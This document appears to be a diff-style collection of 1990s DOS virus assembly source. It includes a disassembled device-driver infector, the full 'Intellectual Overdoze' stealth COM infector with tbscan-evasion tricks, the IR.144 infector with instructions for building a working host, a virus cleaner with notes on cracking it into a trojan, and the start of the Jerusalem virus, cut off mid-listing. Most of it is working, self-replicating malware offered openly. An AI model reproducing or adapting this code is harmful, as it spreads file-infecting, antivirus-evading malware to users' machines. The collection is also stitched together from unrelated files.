0b59:045d c7 06 60 05 4a 4c mov word [0560],4c4a
|
||||
0b59:0463 b9 14 00 mov cx,0014
|
||||
0b59:0466 ba 4e 05 mov dx,054e
|
||||
0b59:0469 b4 40 mov ah,40
|
||||
0b59:046b cd 21 int 21
|
||||
0b59:046d 72 17 jb 0486
|
||||
0b59:046f ba 00 00 mov dx,0000
|
||||
0b59:0472 b9 fc 0a mov cx,0afc
|
||||
0b59:0475 b4 40 mov ah,40
|
||||
0b59:0477 cd 21 int 21
|
||||
0b59:0479 72 0b jb 0486
|
||||
0b59:047b 8b 0e 62 05 mov cx,[0562]
|
||||
0b59:047f ba f0 06 mov dx,06f0
|
||||
0b59:0482 b4 40 mov ah,40
|
||||
0b59:0484 cd 21 int 21
|
||||
0b59:0486 b4 3e mov ah,3e
|
||||
0b59:0488 cd 21 int 21
|
||||
|
||||
0b59:048a 8e c5 mov es,bp
|
||||
0b59:048c bf 80 00 mov di,0080
|
||||
0b59:048f be 66 05 mov si,0566
|
||||
0b59:0492 b9 40 00 mov cx,0040
|
||||
0b59:0495 f3 repz
|
||||
0b59:0496 a5 movs
|
||||
0b59:0497 8e dd mov ds,bp
|
||||
0b59:0499 fa cli
|
||||
0b59:049a b8 a0 0d mov ax,0da0
|
||||
0b59:049d 8e d0 mov ss,ax
|
||||
0b59:049f bc 10 bf mov sp,bf10
|
||||
0b59:04a2 fb sti
|
||||
0b59:04a3 ea 00 00 00 00 jmp 0000:0000
|
||||
|
||||
0b59:04a8 63 3a 5c 63 6f 6e 66 69 |c:\confi|
|
||||
0b59:04b0 67 2e 73 79 73 00 45 56 |g.sys.EV|
|
||||
0b59:04b8 49 43 45 00 43 3a 5c 76 |ICE.C:\v|
|
||||
0b59:04c0 61 6e 73 69 2e 73 79 73 |ansi.sys|
|
||||
0b59:04c8 00 64 65 76 69 63 65 3d |.device=|
|
||||
0b59:04d0 76 61 6e 73 69 2e 73 79 |vansi.sy|
|
||||
0b59:04d8 73 0d 0a 90 76 61 6e 73 |s...vans|
|
||||
0b59:04e0 69 20 20 20 |i |
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
STRAT:
|
||||
|
||||
0b59:04e4 2e 89 1e 1f 00 mov cs:[001f],bx
|
||||
0b59:04e9 2e 8c 06 21 00 mov cs:[0021],es
|
||||
0b59:04ee cb retf
|
||||
|
||||
0b59:04ef 00 00 add [bx+si],al
|
||||
0b59:04f1 00 00 add [bx+si],al
|
||||
|
||||
0b59:04f3 53 push bx
|
||||
0b59:04f4 06 push es
|
||||
0b59:04f5 2e 8b 1e 1f 00 mov bx,cs:[001f]
|
||||
0b59:04fa 2e 8e 06 21 00 mov es,cs:[0021]
|
||||
0b59:04ff 26 c7 47 03 00 00 mov word es:[03+bx],0000
|
||||
0b59:0505 26 c7 47 0e 42 00 mov word es:[0e+bx],0042
|
||||
0b59:050b 26 8c 4f 10 mov es:[10+bx],cs
|
||||
0b59:050f 07 pop es
|
||||
0b59:0510 5b pop bx
|
||||
0b59:0511 cb retf
|
||||
|
||||
0b59:0512 ea c1 00 0a 0c jmp 0c0a:00c1
|
||||
0b59:0517 ea cc 00 0a 0c jmp 0c0a:00cc
|
||||
|
||||
0b59:051c 50 push ax
|
||||
0b59:051d 8c c8 mov ax,cs
|
||||
0b59:051f 05 b1 00 add ax,00b1
|
||||
0b59:0522 2e a3 15 05 mov cs:[0515],ax
|
||||
0b59:0526 2e a3 1a 05 mov cs:[051a],ax
|
||||
0b59:052a b8 12 05 mov ax,0512
|
||||
0b59:052d 2e a3 06 00 mov cs:[0006],ax
|
||||
0b59:0531 58 pop ax
|
||||
0b59:0532 eb de jmp 0512
|
||||
|
||||
0b59:0534 50 push ax
|
||||
0b59:0535 53 push bx
|
||||
0b59:0536 1e push ds
|
||||
0b59:0537 fa cli
|
||||
0b59:0538 b8 00 00 mov ax,0000
|
||||
0b59:053b 8e d8 mov ds,ax
|
||||
0b59:053d bb 84 00 mov bx,0084
|
||||
0b59:0540 8b 07 mov ax,[bx]
|
||||
0b59:0542 2e a3 98 02 mov cs:[0298],ax
|
||||
0b59:0546 8b 47 02 mov ax,[02+bx]
|
||||
0b59:0549 2e a3 9a 02 mov cs:[029a],ax
|
||||
0b59:054d b8 14 00 mov ax,0014
|
||||
0b59:0550 89 07 mov [bx],ax
|
||||
0b59:0552 8c 4f 02 mov [02+bx],cs
|
||||
0b59:0555 b8 17 05 mov ax,0517
|
||||
0b59:0558 2e a3 08 00 mov cs:[0008],ax
|
||||
0b59:055c fb sti
|
||||
0b59:055d 1f pop ds
|
||||
0b59:055e 5b pop bx
|
||||
0b59:055f 58 pop ax
|
||||
0b59:0560 eb b5 jmp 0517
|
||||
|
||||
DEV_HDR:
|
||||
|
||||
0b59:0562 ff ????
|
||||
0b59:0563 ff ????
|
||||
0b59:0564 ff ????
|
||||
0b59:0565 ff
|
||||
53 c0
|
||||
0b59:0568 1c 05
|
||||
0b59:056a 34 05
|
||||
0b59:056c 01 00
|
||||
0b59:056e 7c 2d
|
||||
0b59:0570 4d
|
||||
0b59:0571 5a
|
||||
@@ -0,0 +1,350 @@
|
||||
; ------------------------------------------------------------------------------
|
||||
;
|
||||
; - Intellectual Overdoze -
|
||||
; Created by Immortal Riot's destructive development team
|
||||
; (c) 1994 The Unforgiven/Immortal Riot
|
||||
;
|
||||
;-------------------------------------------------------------------------------
|
||||
; þ Memory Resident Stealth Infector of COM-programs þ
|
||||
;-------------------------------------------------------------------------------
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
start:
|
||||
|
||||
jmp virus_start ; for first generation only!
|
||||
db 'V' ; mark org file infected
|
||||
|
||||
virus_start:
|
||||
|
||||
mov sp,102h ; get delta offset without
|
||||
call get_delta_offset ; getting detected by tbscan
|
||||
|
||||
|
||||
get_delta_offset:
|
||||
|
||||
call cheat_tbscan ; kick's tbscan's heuristics
|
||||
mov si,word ptr ds:[100h] ; real bad!
|
||||
mov sp,0fffeh
|
||||
sub si,offset get_delta_offset
|
||||
jmp short go_resident
|
||||
|
||||
cheat_tbscan:
|
||||
|
||||
mov ax,0305h ; keyb i/o
|
||||
xor bx,bx
|
||||
int 16h
|
||||
ret
|
||||
|
||||
go_resident:
|
||||
|
||||
mov bp,si
|
||||
|
||||
installtion_check:
|
||||
|
||||
mov ax,6666h
|
||||
int 21h
|
||||
cmp bx,6666h ; 6666h returned in bx?
|
||||
je already_resident ; = assume resident
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
resize_memory_block:
|
||||
|
||||
mov ah,4ah ; find top of memory
|
||||
mov bx,0ffffh ; (65536)
|
||||
int 21h
|
||||
|
||||
resize_memory_block_for_virus:
|
||||
|
||||
sub bx,(virus_end-virus_start+15)/16+1 ; resize enough para's
|
||||
mov ah,4ah ; for virus
|
||||
int 21h
|
||||
|
||||
allocate_memory_block_for_virus:
|
||||
|
||||
mov ah,48h ; allocate for virus
|
||||
mov bx,(virus_end-virus_start+15)/16
|
||||
int 21h
|
||||
jc not_enough_mem ; not enough memory!
|
||||
|
||||
dec ax ; ax - 1 = mcb
|
||||
push es
|
||||
|
||||
mark_allocated_memory_block_to_dos:
|
||||
|
||||
mov es,ax
|
||||
mov byte ptr es:[0],'Z'
|
||||
mov word ptr es:[1],8 ; dos = mcb owner
|
||||
inc ax
|
||||
|
||||
copy_virus_to_memory:
|
||||
|
||||
cld ; clear direction for movsw
|
||||
lea si,[bp+offset virus_start] ; vir start
|
||||
mov es,ax
|
||||
xor di,di
|
||||
mov cx,(virus_end-virus_start+4)/2 ; vir len
|
||||
rep movsw
|
||||
|
||||
manually_hook_of_int21h:
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
push ds
|
||||
; get/set int vector for int21
|
||||
lds ax,ds:[21h*4]
|
||||
mov word ptr es:[oldint21h-virus_start],ax
|
||||
mov word ptr es:[oldint21h-virus_start+2],ds
|
||||
pop ds
|
||||
mov word ptr ds:[21h*4],(newint21h-virus_start)
|
||||
|
||||
mov bx,es ; cheat tbscan since
|
||||
mov ds:[21h*4+2],bx ; mov ds:[21h*4+2],es = M flag
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
exit:
|
||||
not_enough_mem:
|
||||
already_resident:
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
restore_first_bytes:
|
||||
|
||||
mov di,100h
|
||||
mov cx,4
|
||||
mov si,offset orgbuf
|
||||
add si,bp ; fix correct offset (delta)
|
||||
repne movsb
|
||||
|
||||
jmp_org_program:
|
||||
|
||||
mov ax,101h ; cheats tbscan's back to
|
||||
dec ax ; entry point
|
||||
jmp ax
|
||||
|
||||
|
||||
newint21h:
|
||||
|
||||
cmp ax,4b00h ; file executed?
|
||||
je infect
|
||||
|
||||
cmp ah,11h ; fcb findfirst call?
|
||||
je fcb_stealth
|
||||
|
||||
cmp ah,12h ; fcb findnext call?
|
||||
je fcb_stealth
|
||||
|
||||
cmp ax,6666h ; residency check
|
||||
jne do_old21h ; not resident
|
||||
mov bx,6666h ; return marker in bx
|
||||
|
||||
do_old21h:
|
||||
|
||||
jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
|
||||
ret
|
||||
|
||||
fcb_stealth:
|
||||
|
||||
pushf
|
||||
push cs ; fake a int call with pushf
|
||||
call do_old21h ; and cs, ip on the stack
|
||||
cmp al,00 ; dir successfull?
|
||||
jnz dir_error ; naw, skip stealth routine!
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ; Get active PSP to es:bx
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h] ; Dos calling it?
|
||||
jnz not_dos ; Nope!
|
||||
mov bx,dx
|
||||
mov al,[bx] ; al = current drive
|
||||
push ax
|
||||
mov ah,2fh ; get dta area
|
||||
int 21h
|
||||
pop ax ; check extended fcb
|
||||
inc al ; "cmp byte ptr [bx],0ffh"
|
||||
jnz normal_fcb ; nope, regular fcb!
|
||||
|
||||
ext_fcb:
|
||||
add bx,7h ; skip junkie if ext fcb
|
||||
|
||||
normal_fcb:
|
||||
|
||||
mov ax,es:[bx+17h] ; get second value
|
||||
and ax,1fh
|
||||
xor al,01h
|
||||
jnz no_stealth ; second-stealth value match
|
||||
|
||||
; Here one should really check (i) if the file was a comfile, and (ii),
|
||||
; the file-size ( >472 bytes) But oh well, maybe to come..
|
||||
|
||||
and byte ptr es:[bx+17h],0e0h ; substract virus len
|
||||
sub es:[bx+1dh],(virus_end-virus_start)
|
||||
sbb es:[bx+1fh],ax
|
||||
|
||||
no_stealth:
|
||||
not_dos:
|
||||
|
||||
pop es
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
dir_error:
|
||||
iret
|
||||
|
||||
infect:
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
|
||||
open_file:
|
||||
|
||||
mov ax,3d02h ; open file in read/write
|
||||
int 21h ; mode
|
||||
jc error_open ; error on file open
|
||||
|
||||
xchg ax,bx ; file handle in bx
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
read_firstbytes:
|
||||
|
||||
mov ah,3fh ; read first four bytes
|
||||
mov dx,(orgbuf-virus_start) ; to orgbuf
|
||||
mov cx,4
|
||||
int 21h
|
||||
|
||||
|
||||
check_file_executed:
|
||||
|
||||
cmp byte ptr cs:[(orgbuf-virus_start)],'M' ; check only first byte
|
||||
je exe_file ; - fooling tbscan
|
||||
|
||||
|
||||
check_previous_infection:
|
||||
|
||||
cmp byte ptr cs:[(orgbuf-virus_start)+3],'V' ; already infected?
|
||||
je already_infected
|
||||
|
||||
jmp short get_file_time_date ; not infected
|
||||
|
||||
error_open:
|
||||
already_infected:
|
||||
exe_file:
|
||||
|
||||
|
||||
jmp exit_proc ; dont infect file
|
||||
|
||||
|
||||
get_file_time_date:
|
||||
|
||||
mov ax,5700h ; get time/date
|
||||
int 21h
|
||||
|
||||
mov word ptr cs:[(old_time-virus_start)],cx ; save time
|
||||
mov word ptr cs:[(old_date-virus_start)],dx ; and date
|
||||
|
||||
go_endoffile:
|
||||
|
||||
mov ax,4202h ; go end of file
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
check_file_size:
|
||||
|
||||
cmp ax,3072d ; check file-size
|
||||
jb too_small
|
||||
|
||||
cmp ax,64000d
|
||||
ja too_big
|
||||
|
||||
create_newjump:
|
||||
|
||||
sub ax,3 ; 0e9h,XX,XX,
|
||||
mov word ptr cs:[(newbuf+1-virus_start)],ax ; V => AX
|
||||
|
||||
write_virus:
|
||||
|
||||
mov ah,40h ; write virus to end of file
|
||||
mov cx,(virus_end-virus_start)
|
||||
; cwd ; (dx = 0 since go eof)
|
||||
int 21h
|
||||
|
||||
go_tof:
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
; cwd ; ( dx = 0 since go eof)
|
||||
int 21h
|
||||
|
||||
|
||||
write_newjump:
|
||||
|
||||
mov ah,40h ; write new jmp to tof
|
||||
mov cx,4 ; = 0E9H,XX,XX,V
|
||||
mov dx,(newbuf-virus_start) ; offset to write from
|
||||
int 21h
|
||||
|
||||
|
||||
set_org_time_date:
|
||||
too_small:
|
||||
too_big:
|
||||
|
||||
mov ax,5701h ; set back org
|
||||
mov word ptr cx,cs:[(old_time-virus_start)] ; time
|
||||
mov word ptr dx,cs:[(old_date-virus_start)] ; date
|
||||
|
||||
|
||||
set_stealth_marker:
|
||||
|
||||
and cl,0e0h ; give file
|
||||
inc cl ; specific
|
||||
int 21h ; second val
|
||||
|
||||
close_file:
|
||||
|
||||
mov ah,3eh ; close file
|
||||
int 21h
|
||||
|
||||
exit_proc:
|
||||
|
||||
pop ds
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
|
||||
|
||||
old_date dw 0 ; storage buffers
|
||||
old_time dw 0 ; for file time/date
|
||||
oldint21h dd ? ; and oldint21h
|
||||
|
||||
orgbuf db 0cdh,20h,00,00 ; buffer to save first 4 bytes in
|
||||
newbuf db 0E9h,00,00,'V' ; buffer to calculate a new entry
|
||||
|
||||
copyrt db "[Overdoze] (c) 1994 The Unforgiven/Immortal Riot"
|
||||
|
||||
virus_end:
|
||||
end start
|
||||
@@ -0,0 +1,123 @@
|
||||
; Virusname: IR.144
|
||||
; Origin : Sweden
|
||||
; Author : Metal Militia/Immortal Riot
|
||||
;
|
||||
; Ok, this is not one of the very tiny viruses out there today, but to
|
||||
; date this is the smallest one I've ever made and since I never really
|
||||
; care about size when I write my creations I think thisone's pretty ok.
|
||||
; There are others out there on about 100 bytes that does the same, but
|
||||
; who gives a shit? If you don't like thisone, take a look at my
|
||||
; "fixed-up" version [UNIQ], also included in this issue of Insane
|
||||
; Reality.
|
||||
;
|
||||
; In order to get thisone working it needs a host, so create the
|
||||
; following bytes of code and then do a "copy /b dummy.com+ir144.com
|
||||
; ready.com" and woha! A very working copy.
|
||||
;
|
||||
; -----------------------
|
||||
; .model tiny ; DUMMY.ASM
|
||||
; .code
|
||||
; org 100h
|
||||
;
|
||||
; sov:
|
||||
;
|
||||
; xchg ax,ax ; nop
|
||||
; xchg ax,ax ; nop
|
||||
; xchg ax,ax ; nop
|
||||
; xchg ax,ax ; nop
|
||||
;
|
||||
; end sov
|
||||
; -----------------------
|
||||
.model tiny ; IR144.ASM
|
||||
.radix 16
|
||||
.code
|
||||
org 100
|
||||
start:
|
||||
call get_offset
|
||||
|
||||
get_offset:
|
||||
pop bp ; get the
|
||||
sub bp,offset get_offset ; delta offset
|
||||
|
||||
lea si,[buffa_bytes+bp] ; restore our
|
||||
mov di,100 ; first four
|
||||
movsw ; bytes
|
||||
movsw
|
||||
|
||||
lea dx,[end_virus+bp] ; set the
|
||||
mov ah,1a ; DTA to eov
|
||||
int 21
|
||||
|
||||
lea dx,[find_files+bp] ; matching "*.com"
|
||||
mov ah,4e ; find first
|
||||
find_next:
|
||||
int 21
|
||||
jc reset_DTA
|
||||
|
||||
lea dx,[end_virus+1e+bp]
|
||||
mov ax,3d02 ; open it
|
||||
int 21
|
||||
|
||||
jc get_more
|
||||
|
||||
xchg bx,ax
|
||||
|
||||
mov cx,4 ; first four bytes
|
||||
mov ah,3f ; read em
|
||||
lea dx,[buffa_bytes+bp] ; and put them in
|
||||
int 21 ; our buffer
|
||||
|
||||
cmp byte ptr [buffa_bytes+bp+3],'V' ; check if already
|
||||
jz close_em ; infected
|
||||
|
||||
mov ax,4202 ; goto EOF
|
||||
sub cx,cx
|
||||
cwd
|
||||
int 21
|
||||
|
||||
sub ax,3
|
||||
mov word ptr [bp+jump_bytes+1],ax ; use our 'jmp' bytes
|
||||
|
||||
mov ah,40 ; write our
|
||||
mov cx,end_virus-start ; viral code
|
||||
lea dx,[bp+start] ; to victim file
|
||||
int 21
|
||||
|
||||
mov ax,4200 ; goto SOF
|
||||
sub cx,cx
|
||||
cwd
|
||||
int 21
|
||||
|
||||
mov ah,40 ; write our
|
||||
mov cx,4 ; first four
|
||||
lea dx,[bp+jump_bytes] ; bytes over
|
||||
int 21 ; the original
|
||||
|
||||
close_em:
|
||||
mov ah,3e ; close file
|
||||
int 21
|
||||
|
||||
get_more:
|
||||
mov ah,4f ; find next
|
||||
jmp find_next
|
||||
|
||||
reset_DTA:
|
||||
mov dx,80 ; reset the DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
|
||||
mov di,100 ; and return
|
||||
push di ; to the original
|
||||
ret ; program
|
||||
|
||||
|
||||
find_files db '*.com',0 ; victim files
|
||||
jump_bytes db 0e9,0,0,'V' ; our 'jmp' bytes
|
||||
|
||||
buffa_bytes: ; the original first four bytes will be put here
|
||||
xchg ax,ax ; nop
|
||||
xchg ax,ax ; nop
|
||||
int 20 ; ret(urn) to prompt
|
||||
|
||||
end_virus:
|
||||
end start
|
||||
@@ -0,0 +1,295 @@
|
||||
; Binary Obsession Cleaner
|
||||
; - By Ratman -
|
||||
|
||||
|
||||
data_18e equ 9CDh ;*
|
||||
data_19e equ 4F43h ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
irm_kill proc far
|
||||
|
||||
start:
|
||||
|
||||
mov ah,9
|
||||
mov dx,offset data_1 ; ('IR Multi-Partite Virus K')
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
|
||||
;====( Here is the program's self-check routine )==============================;
|
||||
|
||||
cmp word ptr ds:data_18e,3E8h
|
||||
jne loc_1
|
||||
|
||||
; jmp short loc_1 ; 'Crack it'
|
||||
|
||||
; If you want it 'cracked', exchange the jne loc_1 to "jmp short loc_1" and
|
||||
; voila!.. Program run like it wasn't modified.. All trivia really, and
|
||||
; very usuful if one want a trojanized version of this program :).
|
||||
|
||||
mov ah,9
|
||||
mov dx,offset data_6 ; ('Scanner fails Self-Check')
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
int 20h ; DOS program terminate
|
||||
|
||||
loc_1:
|
||||
mov ax,201h
|
||||
mov bx,offset data_15
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h ; Disk dl=drive 0 ah=func 02h
|
||||
; read sectors to memory es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
cmp data_15,3E8h
|
||||
jne loc_2 ; Jump if not equal
|
||||
mov ah,9
|
||||
mov dx,offset data_2 ; ('Warning!: IR MultiPartit')
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
mov ah,0
|
||||
int 16h ; Keyboard i/o ah=function 00h
|
||||
; get keybd char in al, ah=scan
|
||||
cmp ah,15h
|
||||
jne loc_2 ; Jump if not equal
|
||||
mov ax,201h
|
||||
mov bx,offset data_15
|
||||
mov cx,2
|
||||
mov dx,80h
|
||||
int 13h ; Disk dl=drive 0 ah=func 02h
|
||||
; read sectors to memory es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
mov ax,301h
|
||||
mov bx,offset data_15
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h ; Disk dl=drive 0 ah=func 03h
|
||||
; write sectors from mem es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
mov ah,9
|
||||
mov dx,offset data_4 ; ('Drive C: MBR is now Clea')
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
loc_2:
|
||||
mov ah,9
|
||||
mov dx,offset data_5 ; ('Scanning the files in th')
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
mov ah,2Fh
|
||||
int 21h ; DOS Services ah=function 2Fh
|
||||
; get DTA ptr into es:bx
|
||||
mov ah,4Eh
|
||||
mov cx,7
|
||||
mov dx,586h
|
||||
int 21h ; DOS Services ah=function 4Eh
|
||||
; find 1st filenam match @ds:dx
|
||||
jc loc_4 ; Jump if carry Set
|
||||
loc_3:
|
||||
call sub_1
|
||||
mov ah,4Fh
|
||||
int 21h ; DOS Services ah=function 4Fh
|
||||
; find next filename match
|
||||
jnc loc_3 ; Jump if carry=0
|
||||
loc_4:
|
||||
jmp short $+3 ; delay for I/O
|
||||
nop
|
||||
int 20h ; DOS program terminate
|
||||
|
||||
irm_kill endp
|
||||
|
||||
sub_1 proc near
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push es
|
||||
push es
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov si,bx
|
||||
add si,1Eh
|
||||
mov di,58Ch
|
||||
mov cx,0Fh
|
||||
push cx
|
||||
push di
|
||||
rep movsb
|
||||
pop di
|
||||
pop cx
|
||||
xor al,al
|
||||
cld
|
||||
repne scasb
|
||||
mov al,20h
|
||||
rep stosb
|
||||
mov byte ptr es:[di],24h ; '$'
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,9
|
||||
mov dx,58Ch
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
mov ax,3D02h
|
||||
mov dx,bx
|
||||
add dx,1Eh
|
||||
push es
|
||||
pop ds
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
mov bx,ax
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
xor cx,cx ; Zero register
|
||||
mov dx,ax
|
||||
sub dx,1B9h ; EOF-441
|
||||
mov ax,4200h
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
mov ah,3Fh
|
||||
mov cx,1B9h ; 441 bytes
|
||||
mov dx,offset data_15
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, bx=file handle
|
||||
; cx=bytes to ds:dx buffer
|
||||
cmp data_15,3E8h
|
||||
jne loc_5 ; Jump if not equal
|
||||
mov ah,9
|
||||
mov dx,offset data_9 ; ('is infected by IR MultiP')
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
mov ah,0
|
||||
int 16h ; Keyboard i/o ah=function 00h
|
||||
; get keybd char in al, ah=scan
|
||||
cmp ah,15h
|
||||
je loc_7 ; Jump if equal
|
||||
mov ah,9
|
||||
mov dx,offset data_11 ; (' - No')
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
jmp short loc_6
|
||||
db 90h
|
||||
loc_5:
|
||||
mov ah,9
|
||||
mov dx,offset data_8 ; ('is clean...')
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
loc_6:
|
||||
mov ah,3Eh
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
mov data_15,0
|
||||
pop si
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
loc_7:
|
||||
mov ah,9
|
||||
mov dx,offset data_10 ; (' - Yes')
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
mov ax,5700h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get file date+time, bx=handle
|
||||
; returns cx=time, dx=time
|
||||
push cx
|
||||
push dx
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
mov ax,4200h
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
mov ah,40h ; '@'
|
||||
mov cx,3
|
||||
mov dx,offset data_17
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
xor cx,cx ; Zero register
|
||||
mov dx,ax
|
||||
sub dx,1B9h
|
||||
mov ax,4200h
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
mov ah,40h ; '@'
|
||||
mov cx,0
|
||||
mov dx,offset data_15
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,5701h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; set file date+time, bx=handle
|
||||
; cx=time, dx=time
|
||||
jmp short loc_6
|
||||
sub_1 endp
|
||||
|
||||
data_1 db 'IR Multi-Partite Virus Killer by'
|
||||
db ' -+ RatMan +-', 0Ah, 0Dh
|
||||
copyright db '(C) 1994 RatMan - This program i'
|
||||
db 's free of charge for all use'
|
||||
db 'rs.', 0Ah, 0Dh, 'DISCLAIMER: Thi'
|
||||
db 's software is provided "AS IS" '
|
||||
db 'without warranty of any kind,', 0Ah
|
||||
db 0Dh, 'either expressed or implied'
|
||||
db ', including but not limmited to '
|
||||
db 'the fitness for', 0Ah, 0Dh, 'any'
|
||||
db ' particular purpose. The entire '
|
||||
db 'risk as to its quality or perfor'
|
||||
db 'mance', 0Ah, 0Dh, 'is assumed by'
|
||||
db ' the user.', 0Ah, 0Dh, 0Ah, 0Dh, '$'
|
||||
data_2 db 'Warning!: IR MultiPartite Virus '
|
||||
db 'found in MBR of Drive C: - Clean'
|
||||
db ' (Y/N)', 0Ah, 0Dh, ' (I'
|
||||
db 'f the System was booted from Dri'
|
||||
db 've C: you should reboot', 0Ah, 0Dh
|
||||
db ' from a clean floppy b'
|
||||
db 'efore trying to clean your syste'
|
||||
db 'm.....)', 7, 0Ah, 0Dh, 0Ah, 0Dh, '$'
|
||||
data_4 db 'Drive C: MBR is now Clean......', 0Ah
|
||||
db 0Dh, 0Ah, 0Dh, '$'
|
||||
data_5 db 'Scanning the files in the Curren'
|
||||
db 't Directory.....', 0Ah, 0Dh, 0Ah
|
||||
db 0Dh, '$'
|
||||
data_6 db 'Scanner fails Self-Check.....', 7
|
||||
db 0Ah, 0Dh, '$'
|
||||
data_8 db 'is clean...', 0Dh, 0Ah, '$'
|
||||
data_9 db 'is infected by IR MultiPartite V'
|
||||
db 'irus - Clean ? (Y/N)', 7, '$'
|
||||
data_10 db ' - Yes', 0Ah, 0Dh, '$'
|
||||
data_11 db ' - No', 0Ah, 0Dh, '$'
|
||||
db 0, 0
|
||||
data_12 db 2Ah
|
||||
db 2Eh, 43h, 4Fh, 4Dh, 00h
|
||||
data_13 db 1
|
||||
db 63 dup (1)
|
||||
data_15 dw 0
|
||||
db 0
|
||||
data_17 db 0
|
||||
db 1021 dup (0)
|
||||
|
||||
seg_a ends
|
||||
end start
|
||||
@@ -0,0 +1,753 @@
|
||||
;The "Jerusalem" virus.
|
||||
;Also Called - Israeli, PLO, Friday the 13th - Version A
|
||||
|
||||
|
||||
PAGE 64,132
|
||||
;-----------------------------------------------------------------------;
|
||||
; THE "JERUSALEM" VIRUS ;
|
||||
;-----------------------------------------------------------------------;
|
||||
;
|
||||
ORG 100H ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; JERUSALEM VIRUS ;
|
||||
;-----------------------------------------------------------------------;
|
||||
BEGIN_COM: ;COM FILES START HERE
|
||||
JMP CONTINUE ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
A0103 DB 073H,055H
|
||||
|
||||
MS_DOS DB 'MsDos' ;
|
||||
|
||||
DB 000H,001H,015H,018H
|
||||
|
||||
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
|
||||
|
||||
DB 000H
|
||||
A0010 DB 000H
|
||||
|
||||
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
|
||||
|
||||
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
|
||||
|
||||
OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
|
||||
OLD_24 DW 0556H,16A5H ;001B
|
